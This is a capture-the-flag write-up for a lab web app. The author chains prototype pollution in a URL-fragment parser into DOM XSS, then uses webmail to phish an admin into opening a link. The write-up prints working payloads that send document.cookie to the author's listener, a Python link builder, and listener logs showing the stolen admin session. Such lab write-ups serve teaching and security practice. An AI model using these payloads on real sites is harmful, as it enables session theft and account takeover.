HackSmarter
Polution
- Nmap
- Gobuster
- ffuf
- curl / jq
- Browser + HTTP request replay
- Python (urllib.parse, http.server)
Target Information
| Property | Value |
|---|---|
| Target | 10.1.22.54 |
| Platform | Linux — Node.js / Express web app on port 3000 |
| Starting point | Customer-level account pentester:HackSmarter123 |
| Objective | Elevate from the customer account to Administrator |
The scope described a staging build of a managed-SOC web portal, about to go to production. I had one set of credentials that “mirror a customer”, and the question was whether that account could become an Administrator.
Enumeration
Port Scan
nmap -Pn -P -A 10.1.22.54
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-27 12:41 UTC
Nmap scan report for 10.1.22.54
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f9:eb:b6:8f:0a:0c:6f:d9:fd:66:8c:65:21:c1:5c:cb (ECDSA)
|_ 256 f4:18:16:97:52:6f:d2:6e:d8:79:6d:a2:3c:0a:9c:b2 (ED25519)
3000/tcp open http Node.js Express framework
|_http-title: Hacksmarter | Login
# … (OS fingerprint and traceroute trimmed)
Nmap done: 1 IP address (1 host up) scanned in 38.26 seconds
Two services: SSH and an Express app with a login page on 3000.
SSH
The provided credentials were worth one try against SSH before focusing on the web app.
ssh pentester@10.1.22.54
The authenticity of host '10.1.22.54 (10.1.22.54)' can't be established.
ED25519 key fingerprint is: SHA256:pFfaRrorG6Xb+nu6pRhkrsjbvpIhuNMJs9FAeBDrtrg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.1.22.54' (ED25519) to the list of known hosts.
pentester@10.1.22.54: Permission denied (publickey).
Key-only authentication — no password prompt at all. The way in was going to be the web app.
Content Discovery
gobuster dir -u "http://10.1.22.54:3000" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x js,txt,bak,zip,sh,html
# … (banner trimmed)
/dashboard (Status: 200) [Size: 6035]
/Dashboard (Status: 200) [Size: 6035]
Progress: 165237 / 1543913 (10.70%)^C
Only the dashboard surfaced, so I stopped the directory scan and fuzzed the API namespace instead.
ffuf -u http://10.1.22.54:3000/api/FUZZ \
-w ~/kali4niaL0ve-back/usr/share/wordlists/Seclists/Discovery/Web-Content/raft-medium-words.txt \
-fc 404
# … (banner trimmed)
mail [Status: 200, Size: 72, Words: 5, Lines: 1, Duration: 151ms]
Mail [Status: 200, Size: 72, Words: 5, Lines: 1, Duration: 153ms]
metadata [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 152ms]
MAIL [Status: 200, Size: 72, Words: 5, Lines: 1, Duration: 151ms]
:: Progress: [63088/63088] :: Job [1/1] :: 258 req/sec :: Duration: [0:04:07] :: Errors: 0 ::
curl -s http://10.1.22.54:3000/api/metadata | jq
{
"ip": "10.1.22.54"
}
/api/metadata only echoed the host IP. /api/mail lined up with the mail feature I would find in the UI.
Exploring the Application
Logging In as the Customer
Logging in with the provided credentials redirected to /dashboard. The only thing the server set was a plain user cookie holding the username.

The dashboard had three sections: Audit Logs, Webmail and Incident Response. Incident Response returned 403 Forbidden for the customer cookie, which made it the target.
Webmail — Testing the Admin’s Reader
Webmail had a fixed recipient, admin@hacksmarter.local, and confirmed every send with “Message delivered to admin.” A message that lands with an admin is a delivery path to a privileged session, so I tested whether the admin side rendered HTML. The first payload was an <img onerror> that called fetch() to a listener on port 1235, placed in both the subject and the body.
The listener did get hits from the target itself (10.1.22.54), but the requested path was /xss')"> — the raw text that followed the URL in my message, not the result of a fetch() call.
I tried again with a cookie-stealing variant that built the URL from document.cookie:
<img src=x onerror="this.src='http://10.200.87.28:1236/message?c='+document.cookie"/>

The pattern repeated: the target requested /message?c='+document.cookie"/> literally. Nothing was being executed. Whatever processed the message on the admin side was following the URL it found in the text, not rendering my HTML. A plain HTML injection in the mail body was a dead end, but the admin would open a link.
Forging the user Cookie
Since the session appeared to be just user=<name>, I swapped it for user=admin and requested Incident Response again.

Still 403 Forbidden. The server was checking something beyond the user cookie, so I needed the admin’s real session rather than a forged one.
Client-Side Source Review
With a link-following admin as the delivery path, I needed script execution on a page the admin would open. I looked for a script bundle first.
curl -s http://10.1.22.54:3000/app.js -o app.js
grep -Ein \
'incident|audit|admin|role|isAdmin|authorized|prototype|merge|api/|fetch' \
app.js
No matches. The saved app.js was Express’s Cannot GET /app.js error page, so there was no separate bundle. The logic had to be inline, so I pulled the dashboard itself. It was served without a session cookie.
curl -s http://10.1.22.54:3000/dashboard | tee dashboard.html
grep -Ein 'incident|audit|admin|role|api/|mail|fetch|axios' dashboard.html
27: <div class="nav-item active" onclick="showTab('audit')">Audit Logs</div>
28: <div class="nav-item" onclick="showTab('mail')">Webmail</div>
29: <a href="/incident-response" class="nav-item">Incident Response</a>
33: <div id="tab-title">Audit Log Management</div>
37: <div id="tab-audit" class="card">
44: <div id="tab-mail" class="card hidden">
47: <input type="text" id="mailTo" value="admin@hacksmarter.local" readonly>
49: <input type="text" id="mailSub" placeholder="Issue Report">
51: <textarea id="mailBody" rows="5" placeholder="Include links for investigation..."></textarea>
52: <button onclick="sendMail()">Send Secure Message</button>
53: <p id="mailStatus" style="font-size: 0.8rem; margin-top:10px;"></p>
60: document.getElementById('tab-audit').classList.add('hidden');
61: document.getElementById('tab-mail').classList.add('hidden');
63: document.getElementById('tab-title').innerText = tab === 'audit' ? 'Audit Log Management' : 'Webmail';
103: async function sendMail() {
104: const res = await fetch('/api/mail/send', {
108: to: document.getElementById('mailTo').value,
109: subject: document.getElementById('mailSub').value,
110: body: document.getElementById('mailBody').value
114: document.getElementById('mailStatus').innerText = data.status === "Sent" ? "Message delivered to admin." : "Error sending.";
The message body’s placeholder — “Include links for investigation…” — matched what the listener had shown: the admin acts on links. The interesting part was the Audit Log search script (dashboard.html lines 66–101):
function syncState(params, target) {
params.split('&').forEach(pair => {
const index = pair.indexOf('=');
if (index === -1) return;
const key = pair.substring(0, index);
const value = pair.substring(index + 1);
const path = key.split('.');
let current = target;
for (let i = 0; i < path.length; i++) {
const part = decodeURIComponent(path[i]);
if (i === path.length - 1) {
current[part] = decodeURIComponent(value);
} else {
current[part] = current[part] || {};
current = current[part];
}
}
});
}
function executeSearch() {
const results = document.getElementById('results');
let options = { prefix: "Searching: " };
if (window.location.hash) syncState(window.location.hash.substring(1), options);
if (options.renderCallback) {
const frag = document.createRange().createContextualFragment(options.renderCallback);
results.innerHTML = "";
results.appendChild(frag);
} else {
results.innerText = options.prefix + (document.getElementById('searchInput').value || "All Logs");
}
}
Two things combine here:
syncState()takeskey.path=valuepairs from the URL fragment and walks dotted keys into nested objects with no filtering. A key of__proto__.renderCallbackwalks intoObject.prototypeand assigns there.executeSearch()buildsoptionswithout arenderCallback, but then checksoptions.renderCallback. A polluted prototype supplies one, and its value goes straight intocreateContextualFragment()and onto the page.
executeSearch() runs on page load and on every hashchange, so opening a crafted /dashboard#… link is enough to trigger it. My notes at this point:
URL hash
↓
syncState()
↓
__proto__.renderCallback
↓
Object.prototype.renderCallback
↓
options.renderCallback
↓
createContextualFragment()
↓
DOM XSS
Prototype Pollution → DOM XSS
Before building an exfiltration payload, I confirmed the gadget in my own browser with a harmless alert(document.domain):
http://10.1.22.54:3000/dashboard#__proto__.renderCallback=<img%20src%3Dx%20onerror%3Dalert(document.domain)>

The alert fired on the application’s own origin. That gave me script execution in any browser that opened a /dashboard link I controlled, and the admin was already opening links from webmail.
Stealing the Admin Session
I generated the link with a small script, so the <img onerror> payload would be fully URL-encoded inside the fragment:
import urllib.parse
payload = '''<img src=x onerror="this.src='http://10.200.87.28:1234/?c='+encodeURIComponent(document.cookie)">'''
print(
"http://10.1.22.54:3000/dashboard#__proto__.renderCallback="
+ urllib.parse.quote(payload, safe='')
)
python3 polution.py
http://10.1.22.54:3000/dashboard#__proto__.renderCallback=%3Cimg%20src%3Dx%20onerror%3D%22this.src%3D%27http%3A%2F%2F10.200.87.28%3A1234%2F%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E
Before sending it, I opened the same payload, pointed at a listener on port 1238, in my own browser. The listener logged requests from my own IP carrying c=user=pentester, so the exfiltration worked end to end and reported whatever cookies the victim’s browser held.

Then I sent the port-1234 link to the admin through Webmail, with a listener running:

python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.1.22.54 - - [27/Aug/2026 13:54:06] "GET /?c=session%3DHS_ADMIN_7721_SECURE_AUTH_TOKEN%3B%20user%3Dadmin HTTP/1.1" 200 -
10.1.22.54 - - [27/Aug/2026 13:54:06] "GET /?c=session%3DHS_ADMIN_7721_SECURE_AUTH_TOKEN%3B%20user%3Dadmin HTTP/1.1" 200 -
10.1.22.54 - - [27/Aug/2026 13:54:07] "GET /?c=session%3DHS_ADMIN_7721_SECURE_AUTH_TOKEN%3B%20user%3Dadmin HTTP/1.1" 200 -
# … (13 more identical requests, 13:54:07–13:54:11)
^C
Keyboard interrupt received, exiting.
This time the request came from the target with real cookie values. The admin’s browser carried a session cookie that my customer account never received, which explains why forging user=admin alone had failed.
session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin
Incident Response — Flag
With both admin cookies, I replayed the request that had returned 403 twice before:
curl -i \
-H 'Cookie: session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin' \
http://10.1.22.54:3000/incident-response
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 50
ETag: W/"32-VvS3jRrq7M+NBsvFWGEgA46ppGI"
Date: Thu, 27 Aug 2026 13:55:36 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<h1>Flag: HACKSMARTER{prowling_the_prototype}</h1>
Administrator access to Incident Response, starting from the customer account.
Attack Path Summary
Customer login (pentester) — Incident Response returns 403
↓
Webmail delivers to admin; admin side follows links but does not render HTML
↓
Forged user=admin cookie rejected (403) — real admin session needed
↓
Inline dashboard JS: syncState() merges URL-fragment keys without filtering
↓
#__proto__.renderCallback pollutes Object.prototype → createContextualFragment() → DOM XSS
↓
Link to /dashboard#__proto__.renderCallback=<img onerror=…document.cookie…> sent via Webmail
↓
Admin browser leaks session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin
↓
/incident-response as admin → flag
Credentials Found
| Principal | Credential | Source |
|---|---|---|
| pentester | HackSmarter123 |
Provided in scope |
| admin (web session) | session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin |
Exfiltrated from the admin’s browser via prototype-pollution DOM XSS |
| Flag | Value |
|---|---|
| Incident Response | HACKSMARTER{prowling_the_prototype} |
Tools Used
- Nmap
- Gobuster
- ffuf
- curl / jq
- Browser + HTTP request replay
- Python (
urllib.parse,http.server)